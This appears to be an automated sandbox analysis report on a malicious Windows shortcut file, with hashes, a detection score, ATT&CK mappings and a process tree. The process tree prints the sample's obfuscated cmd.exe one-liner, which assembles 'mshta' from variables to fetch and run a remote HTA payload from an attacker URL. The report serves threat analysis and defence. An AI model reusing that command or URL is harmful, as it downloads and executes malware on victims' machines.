979baae1bd3155b760e2e458f5c2baa80102981fde8ae75f2a6f51146fea57f2

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 21:46

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General

Target
DOC-HEU3X7.lnk
Size 1KB
Sample260822-1mrcfacl2t
SHA256 979baae1bd3155b760e2e458f5c2baa80102981fde8ae75f2a6f51146fea57f2
MD5 2e19dc400926a8a00153f01dd7a72b46
SHA1 89ebb47f3aad3c7199735273ab5607c77a1cf2e3
SHA512 12c2d3f3b477ed64ac216a333def363d1da190dcb558839a2f26d4e120fe75406ff919146cc5154ff98de4783713a40745c50a131453ce140d13879aa766cd31
TLSH
T1F4319C103EFE0518F3B39F7384BB6B1089BFB8558D20C61D0151464D1032E01E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5048	cmd.exe
1696	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5048 wrote to memory of 1696	5048	cmd.exe	90
PID 1696 wrote to memory of 1300	1696	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HEU3X7.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5048
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set zKwC=msh&&set RTXQY=ta&&start "" !zKwC!!RTXQY! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:1300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads